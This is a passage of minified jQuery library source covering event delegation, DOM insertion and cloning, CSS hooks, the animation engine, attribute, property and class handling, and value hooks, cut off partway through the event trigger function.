pointerleave: "pointerout", }, function (a, b) { r.event.special[a] = { delegateType: b, bindType: b, handle: function (a) { var c, d = this, e = a.relatedTarget, f = a.handleObj; return ( (e && (e === d || r.contains(d, e))) || ((a.type = f.origType), (c = f.handler.apply(this, arguments)), (a.type = b)), c ); }, }; } ), r.fn.extend({ on: function (a, b, c, d) { return xa(this, a, b, c, d); }, one: function (a, b, c, d) { return xa(this, a, b, c, d, 1); }, off: function (a, b, c) { var d, e; if (a && a.preventDefault && a.handleObj) return ( (d = a.handleObj), r(a.delegateTarget).off( d.namespace ? d.origType + "." + d.namespace : d.origType, d.selector, d.handler ), this ); if ("object" == typeof a) { for (e in a) this.off(e, b, a[e]); return this; } return ( (b !== !1 && "function" != typeof b) || ((c = b), (b = void 0)), c === !1 && (c = va), this.each(function () { r.event.remove(this, a, c, b); }) ); }, }); var ya = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, za = /<script|<style|<link/i, Aa = /checked\s*(?:[^=]|=\s*.checked.)/i, Ba = /^true\/(.*)/, Ca = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g; function Da(a, b) { return r.nodeName(a, "table") && r.nodeName(11 !== b.nodeType ? b : b.firstChild, "tr") ? a.getElementsByTagName("tbody")[0] || a : a; } function Ea(a) { return (a.type = (null !== a.getAttribute("type")) + "/" + a.type), a; } function Fa(a) { var b = Ba.exec(a.type); return b ? (a.type = b[1]) : a.removeAttribute("type"), a; } function Ga(a, b) { var c, d, e, f, g, h, i, j; if (1 === b.nodeType) { if ( V.hasData(a) && ((f = V.access(a)), (g = V.set(b, f)), (j = f.events)) ) { delete g.handle, (g.events = {}); for (e in j) for (c = 0, d = j[e].length; c < d; c++) r.event.add(b, e, j[e][c]); } W.hasData(a) && ((h = W.access(a)), (i = r.extend({}, h)), W.set(b, i)); } } function Ha(a, b) { var c = b.nodeName.toLowerCase(); "input" === c && ia.test(a.type) ? (b.checked = a.checked) : ("input" !== c && "textarea" !== c) || (b.defaultValue = a.defaultValue); } function Ia(a, b, c, d) { b = g.apply([], b); var e, f, h, i, j, k, l = 0, m = a.length, n = m - 1, q = b[0], s = r.isFunction(q); if (s || (m > 1 && "string" == typeof q && !o.checkClone && Aa.test(q))) return a.each(function (e) { var f = a.eq(e); s && (b[0] = q.call(this, e, f.html())), Ia(f, b, c, d); }); if ( m && ((e = pa(b, a[0].ownerDocument, !1, a, d)), (f = e.firstChild), 1 === e.childNodes.length && (e = f), f || d) ) { for (h = r.map(ma(e, "script"), Ea), i = h.length; l < m; l++) (j = e), l !== n && ((j = r.clone(j, !0, !0)), i && r.merge(h, ma(j, "script"))), c.call(a[l], j, l); if (i) for (k = h[h.length - 1].ownerDocument, r.map(h, Fa), l = 0; l < i; l++) (j = h[l]), ka.test(j.type || "") && !V.access(j, "globalEval") && r.contains(k, j) && (j.src ? r._evalUrl && r._evalUrl(j.src) : p(j.textContent.replace(Ca, ""), k)); } return a; } function Ja(a, b, c) { for (var d, e = b ? r.filter(b, a) : a, f = 0; null != (d = e[f]); f++) c || 1 !== d.nodeType || r.cleanData(ma(d)), d.parentNode && (c && r.contains(d.ownerDocument, d) && na(ma(d, "script")), d.parentNode.removeChild(d)); return a; } r.extend({ htmlPrefilter: function (a) { return a.replace(ya, "<$1></$2>"); }, clone: function (a, b, c) { var d, e, f, g, h = a.cloneNode(!0), i = r.contains(a.ownerDocument, a); if ( !( o.noCloneChecked || (1 !== a.nodeType && 11 !== a.nodeType) || r.isXMLDoc(a) ) ) for (g = ma(h), f = ma(a), d = 0, e = f.length; d < e; d++) Ha(f[d], g[d]); if (b) if (c) for (f = f || ma(a), g = g || ma(h), d = 0, e = f.length; d < e; d++) Ga(f[d], g[d]); else Ga(a, h); return ( (g = ma(h, "script")), g.length > 0 && na(g, !i && ma(a, "script")), h ); }, cleanData: function (a) { for (var b, c, d, e = r.event.special, f = 0; void 0 !== (c = a[f]); f++) if (T(c)) { if ((b = c[V.expando])) { if (b.events) for (d in b.events) e[d] ? r.event.remove(c, d) : r.removeEvent(c, d, b.handle); c[V.expando] = void 0; } c[W.expando] && (c[W.expando] = void 0); } }, }), r.fn.extend({ detach: function (a) { return Ja(this, a, !0); }, remove: function (a) { return Ja(this, a); }, text: function (a) { return S( this, function (a) { return void 0 === a ? r.text(this) : this.empty().each(function () { (1 !== this.nodeType && 11 !== this.nodeType && 9 !== this.nodeType) || (this.textContent = a); }); }, null, a, arguments.length ); }, append: function () { return Ia(this, arguments, function (a) { if ( 1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType ) { var b = Da(this, a); b.appendChild(a); } }); }, prepend: function () { return Ia(this, arguments, function (a) { if ( 1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType ) { var b = Da(this, a); b.insertBefore(a, b.firstChild); } }); }, before: function () { return Ia(this, arguments, function (a) { this.parentNode && this.parentNode.insertBefore(a, this); }); }, after: function () { return Ia(this, arguments, function (a) { this.parentNode && this.parentNode.insertBefore(a, this.nextSibling); }); }, empty: function () { for (var a, b = 0; null != (a = this[b]); b++) 1 === a.nodeType && (r.cleanData(ma(a, !1)), (a.textContent = "")); return this; }, clone: function (a, b) { return ( (a = null != a && a), (b = null == b ? a : b), this.map(function () { return r.clone(this, a, b); }) ); }, html: function (a) { return S( this, function (a) { var b = this[0] || {}, c = 0, d = this.length; if (void 0 === a && 1 === b.nodeType) return b.innerHTML; if ( "string" == typeof a && !za.test(a) && !la[(ja.exec(a) || ["", ""])[1].toLowerCase()] ) { a = r.htmlPrefilter(a); try { for (; c < d; c++) (b = this[c] || {}), 1 === b.nodeType && (r.cleanData(ma(b, !1)), (b.innerHTML = a)); b = 0; } catch (e) {} } b && this.empty().append(a); }, null, a, arguments.length ); }, replaceWith: function () { var a = []; return Ia( this, arguments, function (b) { var c = this.parentNode; r.inArray(this, a) < 0 && (r.cleanData(ma(this)), c && c.replaceChild(b, this)); }, a ); }, }), r.each( { appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith", }, function (a, b) { r.fn[a] = function (a) { for (var c, d = [], e = r(a), f = e.length - 1, g = 0; g <= f; g++) (c = g === f ? this : this.clone(!0)), r(e[g])[b](c), h.apply(d, c.get()); return this.pushStack(d); }; } ); var Ka = /^margin/, La = new RegExp("^(" + _ + ")(?!px)[a-z%]+$", "i"), Ma = function (b) { var c = b.ownerDocument.defaultView; return (c && c.opener) || (c = a), c.getComputedStyle(b); }; !(function () { function b() { if (i) { (i.style.cssText = "box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%"), (i.innerHTML = ""), qa.appendChild(h); var b = a.getComputedStyle(i); (c = "1%" !== b.top), (g = "2px" === b.marginLeft), (e = "4px" === b.width), (i.style.marginRight = "50%"), (f = "4px" === b.marginRight), qa.removeChild(h), (i = null); } } var c, e, f, g, h = d.createElement("div"), i = d.createElement("div"); i.style && ((i.style.backgroundClip = "content-box"), (i.cloneNode(!0).style.backgroundClip = ""), (o.clearCloneStyle = "content-box" === i.style.backgroundClip), (h.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute"), h.appendChild(i), r.extend(o, { pixelPosition: function () { return b(), c; }, boxSizingReliable: function () { return b(), e; }, pixelMarginRight: function () { return b(), f; }, reliableMarginLeft: function () { return b(), g; }, })); })(); function Na(a, b, c) { var d, e, f, g, h = a.style; return ( (c = c || Ma(a)), c && ((g = c.getPropertyValue(b) || c[b]), "" !== g || r.contains(a.ownerDocument, a) || (g = r.style(a, b)), !o.pixelMarginRight() && La.test(g) && Ka.test(b) && ((d = h.width), (e = h.minWidth), (f = h.maxWidth), (h.minWidth = h.maxWidth = h.width = g), (g = c.width), (h.width = d), (h.minWidth = e), (h.maxWidth = f))), void 0 !== g ? g + "" : g ); } function Oa(a, b) { return { get: function () { return a() ? void delete this.get : (this.get = b).apply(this, arguments); }, }; } var Pa = /^(none|table(?!-c[ea]).+)/, Qa = { position: "absolute", visibility: "hidden", display: "block" }, Ra = { letterSpacing: "0", fontWeight: "400" }, Sa = ["Webkit", "Moz", "ms"], Ta = d.createElement("div").style; function Ua(a) { if (a in Ta) return a; var b = a[0].toUpperCase() + a.slice(1), c = Sa.length; while (c--) if (((a = Sa[c] + b), a in Ta)) return a; } function Va(a, b, c) { var d = aa.exec(b); return d ? Math.max(0, d[2] - (c || 0)) + (d[3] || "px") : b; } function Wa(a, b, c, d, e) { var f, g = 0; for ( f = c === (d ? "border" : "content") ? 4 : "width" === b ? 1 : 0; f < 4; f += 2 ) "margin" === c && (g += r.css(a, c + ba[f], !0, e)), d ? ("content" === c && (g -= r.css(a, "padding" + ba[f], !0, e)), "margin" !== c && (g -= r.css(a, "border" + ba[f] + "Width", !0, e))) : ((g += r.css(a, "padding" + ba[f], !0, e)), "padding" !== c && (g += r.css(a, "border" + ba[f] + "Width", !0, e))); return g; } function Xa(a, b, c) { var d, e = !0, f = Ma(a), g = "border-box" === r.css(a, "boxSizing", !1, f); if ( (a.getClientRects().length && (d = a.getBoundingClientRect()[b]), d <= 0 || null == d) ) { if ( ((d = Na(a, b, f)), (d < 0 || null == d) && (d = a.style[b]), La.test(d)) ) return d; (e = g && (o.boxSizingReliable() || d === a.style[b])), (d = parseFloat(d) || 0); } return d + Wa(a, b, c || (g ? "border" : "content"), e, f) + "px"; } r.extend({ cssHooks: { opacity: { get: function (a, b) { if (b) { var c = Na(a, "opacity"); return "" === c ? "1" : c; } }, }, }, cssNumber: { animationIterationCount: !0, columnCount: !0, fillOpacity: !0, flexGrow: !0, flexShrink: !0, fontWeight: !0, lineHeight: !0, opacity: !0, order: !0, orphans: !0, widows: !0, zIndex: !0, zoom: !0, }, cssProps: { float: "cssFloat" }, style: function (a, b, c, d) { if (a && 3 !== a.nodeType && 8 !== a.nodeType && a.style) { var e, f, g, h = r.camelCase(b), i = a.style; return ( (b = r.cssProps[h] || (r.cssProps[h] = Ua(h) || h)), (g = r.cssHooks[b] || r.cssHooks[h]), void 0 === c ? g && "get" in g && void 0 !== (e = g.get(a, !1, d)) ? e : i[b] : ((f = typeof c), "string" === f && (e = aa.exec(c)) && e[1] && ((c = ea(a, b, e)), (f = "number")), null != c && c === c && ("number" === f && (c += (e && e[3]) || (r.cssNumber[h] ? "" : "px")), o.clearCloneStyle || "" !== c || 0 !== b.indexOf("background") || (i[b] = "inherit"), (g && "set" in g && void 0 === (c = g.set(a, c, d))) || (i[b] = c)), void 0) ); } }, css: function (a, b, c, d) { var e, f, g, h = r.camelCase(b); return ( (b = r.cssProps[h] || (r.cssProps[h] = Ua(h) || h)), (g = r.cssHooks[b] || r.cssHooks[h]), g && "get" in g && (e = g.get(a, !0, c)), void 0 === e && (e = Na(a, b, d)), "normal" === e && b in Ra && (e = Ra[b]), "" === c || c ? ((f = parseFloat(e)), c === !0 || isFinite(f) ? f || 0 : e) : e ); }, }), r.each(["height", "width"], function (a, b) { r.cssHooks[b] = { get: function (a, c, d) { if (c) return !Pa.test(r.css(a, "display")) || (a.getClientRects().length && a.getBoundingClientRect().width) ? Xa(a, b, d) : da(a, Qa, function () { return Xa(a, b, d); }); }, set: function (a, c, d) { var e, f = d && Ma(a), g = d && Wa(a, b, d, "border-box" === r.css(a, "boxSizing", !1, f), f); return ( g && (e = aa.exec(c)) && "px" !== (e[3] || "px") && ((a.style[b] = c), (c = r.css(a, b))), Va(a, c, g) ); }, }; }), (r.cssHooks.marginLeft = Oa(o.reliableMarginLeft, function (a, b) { if (b) return ( (parseFloat(Na(a, "marginLeft")) || a.getBoundingClientRect().left - da(a, { marginLeft: 0 }, function () { return a.getBoundingClientRect().left; })) + "px" ); })), r.each({ margin: "", padding: "", border: "Width" }, function (a, b) { (r.cssHooks[a + b] = { expand: function (c) { for ( var d = 0, e = {}, f = "string" == typeof c ? c.split(" ") : [c]; d < 4; d++ ) e[a + ba[d] + b] = f[d] || f[d - 2] || f[0]; return e; }, }), Ka.test(a) || (r.cssHooks[a + b].set = Va); }), r.fn.extend({ css: function (a, b) { return S( this, function (a, b, c) { var d, e, f = {}, g = 0; if (r.isArray(b)) { for (d = Ma(a), e = b.length; g < e; g++) f[b[g]] = r.css(a, b[g], !1, d); return f; } return void 0 !== c ? r.style(a, b, c) : r.css(a, b); }, a, b, arguments.length > 1 ); }, }); function Ya(a, b, c, d, e) { return new Ya.prototype.init(a, b, c, d, e); } (r.Tween = Ya), (Ya.prototype = { constructor: Ya, init: function (a, b, c, d, e, f) { (this.elem = a), (this.prop = c), (this.easing = e || r.easing._default), (this.options = b), (this.start = this.now = this.cur()), (this.end = d), (this.unit = f || (r.cssNumber[c] ? "" : "px")); }, cur: function () { var a = Ya.propHooks[this.prop]; return a && a.get ? a.get(this) : Ya.propHooks._default.get(this); }, run: function (a) { var b, c = Ya.propHooks[this.prop]; return ( this.options.duration ? (this.pos = b = r.easing[this.easing]( a, this.options.duration * a, 0, 1, this.options.duration )) : (this.pos = b = a), (this.now = (this.end - this.start) * b + this.start), this.options.step && this.options.step.call(this.elem, this.now, this), c && c.set ? c.set(this) : Ya.propHooks._default.set(this), this ); }, }), (Ya.prototype.init.prototype = Ya.prototype), (Ya.propHooks = { _default: { get: function (a) { var b; return 1 !== a.elem.nodeType || (null != a.elem[a.prop] && null == a.elem.style[a.prop]) ? a.elem[a.prop] : ((b = r.css(a.elem, a.prop, "")), b && "auto" !== b ? b : 0); }, set: function (a) { r.fx.step[a.prop] ? r.fx.step[a.prop](a) : 1 !== a.elem.nodeType || (null == a.elem.style[r.cssProps[a.prop]] && !r.cssHooks[a.prop]) ? (a.elem[a.prop] = a.now) : r.style(a.elem, a.prop, a.now + a.unit); }, }, }), (Ya.propHooks.scrollTop = Ya.propHooks.scrollLeft = { set: function (a) { a.elem.nodeType && a.elem.parentNode && (a.elem[a.prop] = a.now); }, }), (r.easing = { linear: function (a) { return a; }, swing: function (a) { return 0.5 - Math.cos(a * Math.PI) / 2; }, _default: "swing", }), (r.fx = Ya.prototype.init), (r.fx.step = {}); var Za, $a, _a = /^(?:toggle|show|hide)$/, ab = /queueHooks$/; function bb() { $a && (a.requestAnimationFrame(bb), r.fx.tick()); } function cb() { return ( a.setTimeout(function () { Za = void 0; }), (Za = r.now()) ); } function db(a, b) { var c, d = 0, e = { height: a }; for (b = b ? 1 : 0; d < 4; d += 2 - b) (c = ba[d]), (e["margin" + c] = e["padding" + c] = a); return b && (e.opacity = e.width = a), e; } function eb(a, b, c) { for ( var d, e = (hb.tweeners[b] || []).concat(hb.tweeners["*"]), f = 0, g = e.length; f < g; f++ ) if ((d = e[f].call(c, b, a))) return d; } function fb(a, b, c) { var d, e, f, g, h, i, j, k, l = "width" in b || "height" in b, m = this, n = {}, o = a.style, p = a.nodeType && ca(a), q = V.get(a, "fxshow"); c.queue || ((g = r._queueHooks(a, "fx")), null == g.unqueued && ((g.unqueued = 0), (h = g.empty.fire), (g.empty.fire = function () { g.unqueued || h(); })), g.unqueued++, m.always(function () { m.always(function () { g.unqueued--, r.queue(a, "fx").length || g.empty.fire(); }); })); for (d in b) if (((e = b[d]), _a.test(e))) { if ( (delete b[d], (f = f || "toggle" === e), e === (p ? "hide" : "show")) ) { if ("show" !== e || !q || void 0 === q[d]) continue; p = !0; } n[d] = (q && q[d]) || r.style(a, d); } if (((i = !r.isEmptyObject(b)), i || !r.isEmptyObject(n))) { l && 1 === a.nodeType && ((c.overflow = [o.overflow, o.overflowX, o.overflowY]), (j = q && q.display), null == j && (j = V.get(a, "display")), (k = r.css(a, "display")), "none" === k && (j ? (k = j) : (ha([a], !0), (j = a.style.display || j), (k = r.css(a, "display")), ha([a]))), ("inline" === k || ("inline-block" === k && null != j)) && "none" === r.css(a, "float") && (i || (m.done(function () { o.display = j; }), null == j && ((k = o.display), (j = "none" === k ? "" : k))), (o.display = "inline-block"))), c.overflow && ((o.overflow = "hidden"), m.always(function () { (o.overflow = c.overflow[0]), (o.overflowX = c.overflow[1]), (o.overflowY = c.overflow[2]); })), (i = !1); for (d in n) i || (q ? "hidden" in q && (p = q.hidden) : (q = V.access(a, "fxshow", { display: j })), f && (q.hidden = !p), p && ha([a], !0), m.done(function () { p || ha([a]), V.remove(a, "fxshow"); for (d in n) r.style(a, d, n[d]); })), (i = eb(p ? q[d] : 0, d, m)), d in q || ((q[d] = i.start), p && ((i.end = i.start), (i.start = 0))); } } function gb(a, b) { var c, d, e, f, g; for (c in a) if ( ((d = r.camelCase(c)), (e = b[d]), (f = a[c]), r.isArray(f) && ((e = f[1]), (f = a[c] = f[0])), c !== d && ((a[d] = f), delete a[c]), (g = r.cssHooks[d]), g && "expand" in g) ) { (f = g.expand(f)), delete a[d]; for (c in f) c in a || ((a[c] = f[c]), (b[c] = e)); } else b[d] = e; } function hb(a, b, c) { var d, e, f = 0, g = hb.prefilters.length, h = r.Deferred().always(function () { delete i.elem; }), i = function () { if (e) return !1; for ( var b = Za || cb(), c = Math.max(0, j.startTime + j.duration - b), d = c / j.duration || 0, f = 1 - d, g = 0, i = j.tweens.length; g < i; g++ ) j.tweens[g].run(f); return ( h.notifyWith(a, [j, f, c]), f < 1 && i ? c : (h.resolveWith(a, [j]), !1) ); }, j = h.promise({ elem: a, props: r.extend({}, b), opts: r.extend(!0, { specialEasing: {}, easing: r.easing._default }, c), originalProperties: b, originalOptions: c, startTime: Za || cb(), duration: c.duration, tweens: [], createTween: function (b, c) { var d = r.Tween( a, j.opts, b, c, j.opts.specialEasing[b] || j.opts.easing ); return j.tweens.push(d), d; }, stop: function (b) { var c = 0, d = b ? j.tweens.length : 0; if (e) return this; for (e = !0; c < d; c++) j.tweens[c].run(1); return ( b ? (h.notifyWith(a, [j, 1, 0]), h.resolveWith(a, [j, b])) : h.rejectWith(a, [j, b]), this ); }, }), k = j.props; for (gb(k, j.opts.specialEasing); f < g; f++) if ((d = hb.prefilters[f].call(j, a, k, j.opts))) return ( r.isFunction(d.stop) && (r._queueHooks(j.elem, j.opts.queue).stop = r.proxy(d.stop, d)), d ); return ( r.map(k, eb, j), r.isFunction(j.opts.start) && j.opts.start.call(a, j), r.fx.timer(r.extend(i, { elem: a, anim: j, queue: j.opts.queue })), j .progress(j.opts.progress) .done(j.opts.done, j.opts.complete) .fail(j.opts.fail) .always(j.opts.always) ); } (r.Animation = r.extend(hb, { tweeners: { "*": [ function (a, b) { var c = this.createTween(a, b); return ea(c.elem, a, aa.exec(b), c), c; }, ], }, tweener: function (a, b) { r.isFunction(a) ? ((b = a), (a = ["*"])) : (a = a.match(K)); for (var c, d = 0, e = a.length; d < e; d++) (c = a[d]), (hb.tweeners[c] = hb.tweeners[c] || []), hb.tweeners[c].unshift(b); }, prefilters: [fb], prefilter: function (a, b) { b ? hb.prefilters.unshift(a) : hb.prefilters.push(a); }, })), (r.speed = function (a, b, c) { var e = a && "object" == typeof a ? r.extend({}, a) : { complete: c || (!c && b) || (r.isFunction(a) && a), duration: a, easing: (c && b) || (b && !r.isFunction(b) && b), }; return ( r.fx.off || d.hidden ? (e.duration = 0) : "number" != typeof e.duration && (e.duration in r.fx.speeds ? (e.duration = r.fx.speeds[e.duration]) : (e.duration = r.fx.speeds._default)), (null != e.queue && e.queue !== !0) || (e.queue = "fx"), (e.old = e.complete), (e.complete = function () { r.isFunction(e.old) && e.old.call(this), e.queue && r.dequeue(this, e.queue); }), e ); }), r.fn.extend({ fadeTo: function (a, b, c, d) { return this.filter(ca) .css("opacity", 0) .show() .end() .animate({ opacity: b }, a, c, d); }, animate: function (a, b, c, d) { var e = r.isEmptyObject(a), f = r.speed(b, c, d), g = function () { var b = hb(this, r.extend({}, a), f); (e || V.get(this, "finish")) && b.stop(!0); }; return ( (g.finish = g), e || f.queue === !1 ? this.each(g) : this.queue(f.queue, g) ); }, stop: function (a, b, c) { var d = function (a) { var b = a.stop; delete a.stop, b(c); }; return ( "string" != typeof a && ((c = b), (b = a), (a = void 0)), b && a !== !1 && this.queue(a || "fx", []), this.each(function () { var b = !0, e = null != a && a + "queueHooks", f = r.timers, g = V.get(this); if (e) g[e] && g[e].stop && d(g[e]); else for (e in g) g[e] && g[e].stop && ab.test(e) && d(g[e]); for (e = f.length; e--; ) f[e].elem !== this || (null != a && f[e].queue !== a) || (f[e].anim.stop(c), (b = !1), f.splice(e, 1)); (!b && c) || r.dequeue(this, a); }) ); }, finish: function (a) { return ( a !== !1 && (a = a || "fx"), this.each(function () { var b, c = V.get(this), d = c[a + "queue"], e = c[a + "queueHooks"], f = r.timers, g = d ? d.length : 0; for ( c.finish = !0, r.queue(this, a, []), e && e.stop && e.stop.call(this, !0), b = f.length; b--; ) f[b].elem === this && f[b].queue === a && (f[b].anim.stop(!0), f.splice(b, 1)); for (b = 0; b < g; b++) d[b] && d[b].finish && d[b].finish.call(this); delete c.finish; }) ); }, }), r.each(["toggle", "show", "hide"], function (a, b) { var c = r.fn[b]; r.fn[b] = function (a, d, e) { return null == a || "boolean" == typeof a ? c.apply(this, arguments) : this.animate(db(b, !0), a, d, e); }; }), r.each( { slideDown: db("show"), slideUp: db("hide"), slideToggle: db("toggle"), fadeIn: { opacity: "show" }, fadeOut: { opacity: "hide" }, fadeToggle: { opacity: "toggle" }, }, function (a, b) { r.fn[a] = function (a, c, d) { return this.animate(b, a, c, d); }; } ), (r.timers = []), (r.fx.tick = function () { var a, b = 0, c = r.timers; for (Za = r.now(); b < c.length; b++) (a = c[b]), a() || c[b] !== a || c.splice(b--, 1); c.length || r.fx.stop(), (Za = void 0); }), (r.fx.timer = function (a) { r.timers.push(a), a() ? r.fx.start() : r.timers.pop(); }), (r.fx.interval = 13), (r.fx.start = function () { $a || ($a = a.requestAnimationFrame ? a.requestAnimationFrame(bb) : a.setInterval(r.fx.tick, r.fx.interval)); }), (r.fx.stop = function () { a.cancelAnimationFrame ? a.cancelAnimationFrame($a) : a.clearInterval($a), ($a = null); }), (r.fx.speeds = { slow: 600, fast: 200, _default: 400 }), (r.fn.delay = function (b, c) { return ( (b = r.fx ? r.fx.speeds[b] || b : b), (c = c || "fx"), this.queue(c, function (c, d) { var e = a.setTimeout(c, b); d.stop = function () { a.clearTimeout(e); }; }) ); }), (function () { var a = d.createElement("input"), b = d.createElement("select"), c = b.appendChild(d.createElement("option")); (a.type = "checkbox"), (o.checkOn = "" !== a.value), (o.optSelected = c.selected), (a = d.createElement("input")), (a.value = "t"), (a.type = "radio"), (o.radioValue = "t" === a.value); })(); var ib, jb = r.expr.attrHandle; r.fn.extend({ attr: function (a, b) { return S(this, r.attr, a, b, arguments.length > 1); }, removeAttr: function (a) { return this.each(function () { r.removeAttr(this, a); }); }, }), r.extend({ attr: function (a, b, c) { var d, e, f = a.nodeType; if (3 !== f && 8 !== f && 2 !== f) return "undefined" == typeof a.getAttribute ? r.prop(a, b, c) : ((1 === f && r.isXMLDoc(a)) || (e = r.attrHooks[b.toLowerCase()] || (r.expr.match.bool.test(b) ? ib : void 0)), void 0 !== c ? null === c ? void r.removeAttr(a, b) : e && "set" in e && void 0 !== (d = e.set(a, c, b)) ? d : (a.setAttribute(b, c + ""), c) : e && "get" in e && null !== (d = e.get(a, b)) ? d : ((d = r.find.attr(a, b)), null == d ? void 0 : d)); }, attrHooks: { type: { set: function (a, b) { if (!o.radioValue && "radio" === b && r.nodeName(a, "input")) { var c = a.value; return a.setAttribute("type", b), c && (a.value = c), b; } }, }, }, removeAttr: function (a, b) { var c, d = 0, e = b && b.match(K); if (e && 1 === a.nodeType) while ((c = e[d++])) a.removeAttribute(c); }, }), (ib = { set: function (a, b, c) { return b === !1 ? r.removeAttr(a, c) : a.setAttribute(c, c), c; }, }), r.each(r.expr.match.bool.source.match(/\w+/g), function (a, b) { var c = jb[b] || r.find.attr; jb[b] = function (a, b, d) { var e, f, g = b.toLowerCase(); return ( d || ((f = jb[g]), (jb[g] = e), (e = null != c(a, b, d) ? g : null), (jb[g] = f)), e ); }; }); var kb = /^(?:input|select|textarea|button)$/i, lb = /^(?:a|area)$/i; r.fn.extend({ prop: function (a, b) { return S(this, r.prop, a, b, arguments.length > 1); }, removeProp: function (a) { return this.each(function () { delete this[r.propFix[a] || a]; }); }, }), r.extend({ prop: function (a, b, c) { var d, e, f = a.nodeType; if (3 !== f && 8 !== f && 2 !== f) return ( (1 === f && r.isXMLDoc(a)) || ((b = r.propFix[b] || b), (e = r.propHooks[b])), void 0 !== c ? e && "set" in e && void 0 !== (d = e.set(a, c, b)) ? d : (a[b] = c) : e && "get" in e && null !== (d = e.get(a, b)) ? d : a[b] ); }, propHooks: { tabIndex: { get: function (a) { var b = r.find.attr(a, "tabindex"); return b ? parseInt(b, 10) : kb.test(a.nodeName) || (lb.test(a.nodeName) && a.href) ? 0 : -1; }, }, }, propFix: { for: "htmlFor", class: "className" }, }), o.optSelected || (r.propHooks.selected = { get: function (a) { var b = a.parentNode; return b && b.parentNode && b.parentNode.selectedIndex, null; }, set: function (a) { var b = a.parentNode; b && (b.selectedIndex, b.parentNode && b.parentNode.selectedIndex); }, }), r.each( [ "tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable", ], function () { r.propFix[this.toLowerCase()] = this; } ); function mb(a) { var b = a.match(K) || []; return b.join(" "); } function nb(a) { return (a.getAttribute && a.getAttribute("class")) || ""; } r.fn.extend({ addClass: function (a) { var b, c, d, e, f, g, h, i = 0; if (r.isFunction(a)) return this.each(function (b) { r(this).addClass(a.call(this, b, nb(this))); }); if ("string" == typeof a && a) { b = a.match(K) || []; while ((c = this[i++])) if (((e = nb(c)), (d = 1 === c.nodeType && " " + mb(e) + " "))) { g = 0; while ((f = b[g++])) d.indexOf(" " + f + " ") < 0 && (d += f + " "); (h = mb(d)), e !== h && c.setAttribute("class", h); } } return this; }, removeClass: function (a) { var b, c, d, e, f, g, h, i = 0; if (r.isFunction(a)) return this.each(function (b) { r(this).removeClass(a.call(this, b, nb(this))); }); if (!arguments.length) return this.attr("class", ""); if ("string" == typeof a && a) { b = a.match(K) || []; while ((c = this[i++])) if (((e = nb(c)), (d = 1 === c.nodeType && " " + mb(e) + " "))) { g = 0; while ((f = b[g++])) while (d.indexOf(" " + f + " ") > -1) d = d.replace(" " + f + " ", " "); (h = mb(d)), e !== h && c.setAttribute("class", h); } } return this; }, toggleClass: function (a, b) { var c = typeof a; return "boolean" == typeof b && "string" === c ? b ? this.addClass(a) : this.removeClass(a) : r.isFunction(a) ? this.each(function (c) { r(this).toggleClass(a.call(this, c, nb(this), b), b); }) : this.each(function () { var b, d, e, f; if ("string" === c) { (d = 0), (e = r(this)), (f = a.match(K) || []); while ((b = f[d++])) e.hasClass(b) ? e.removeClass(b) : e.addClass(b); } else (void 0 !== a && "boolean" !== c) || ((b = nb(this)), b && V.set(this, "__className__", b), this.setAttribute && this.setAttribute("class", b || a === !1 ? "" : V.get(this, "__className__") || "")); }); }, hasClass: function (a) { var b, c, d = 0; b = " " + a + " "; while ((c = this[d++])) if (1 === c.nodeType && (" " + mb(nb(c)) + " ").indexOf(b) > -1) return !0; return !1; }, }); var ob = /\r/g; r.fn.extend({ val: function (a) { var b, c, d, e = this[0]; { if (arguments.length) return ( (d = r.isFunction(a)), this.each(function (c) { var e; 1 === this.nodeType && ((e = d ? a.call(this, c, r(this).val()) : a), null == e ? (e = "") : "number" == typeof e ? (e += "") : r.isArray(e) && (e = r.map(e, function (a) { return null == a ? "" : a + ""; })), (b = r.valHooks[this.type] || r.valHooks[this.nodeName.toLowerCase()]), (b && "set" in b && void 0 !== b.set(this, e, "value")) || (this.value = e)); }) ); if (e) return ( (b = r.valHooks[e.type] || r.valHooks[e.nodeName.toLowerCase()]), b && "get" in b && void 0 !== (c = b.get(e, "value")) ? c : ((c = e.value), "string" == typeof c ? c.replace(ob, "") : null == c ? "" : c) ); } }, }), r.extend({ valHooks: { option: { get: function (a) { var b = r.find.attr(a, "value"); return null != b ? b : mb(r.text(a)); }, }, select: { get: function (a) { var b, c, d, e = a.options, f = a.selectedIndex, g = "select-one" === a.type, h = g ? null : [], i = g ? f + 1 : e.length; for (d = f < 0 ? i : g ? f : 0; d < i; d++) if ( ((c = e[d]), (c.selected || d === f) && !c.disabled && (!c.parentNode.disabled || !r.nodeName(c.parentNode, "optgroup"))) ) { if (((b = r(c).val()), g)) return b; h.push(b); } return h; }, set: function (a, b) { var c, d, e = a.options, f = r.makeArray(b), g = e.length; while (g--) (d = e[g]), (d.selected = r.inArray(r.valHooks.option.get(d), f) > -1) && (c = !0); return c || (a.selectedIndex = -1), f; }, }, }, }), r.each(["radio", "checkbox"], function () { (r.valHooks[this] = { set: function (a, b) { if (r.isArray(b)) return (a.checked = r.inArray(r(a).val(), b) > -1); }, }), o.checkOn || (r.valHooks[this].get = function (a) { return null === a.getAttribute("value") ? "on" : a.value; }); }); var pb = /^(?:focusinfocus|focusoutblur)$/; r.extend(r.event, { trigger: function (b, c, e, f) { var g, h, i, j, k, m, n, o = [e || d], p = l.call(b, "type") ? b.type : b, q = l.call(b, "namespace") ? b.namespace.split(".") : []; if ( ((h = i = e = e || d), 3 !== e.nodeType && 8 !== e.nodeType && !pb.test(p + r.event.triggered) && (p.indexOf(".") > -1 && ((q = p.split(".")), (p = q.shift()), q.sort()), (k = p.indexOf(":") < 0 && "on" + p), (b = b[r.expando] ? b : new r.Event(p, "object" == typeof b && b)), (b.isTrigger = f ? 2 : 3), (b.namespace = q.join(".")), (b.rnamespace = b.namespace ? new RegExp("(^|\\.)" + q.join("\\.(?:.*\\.|)") + "(\\.|$)") : null), (b.result = void 0), b.target || (b.target = e), (c = null == c ? [b] : r.makeArray(c, [b])), 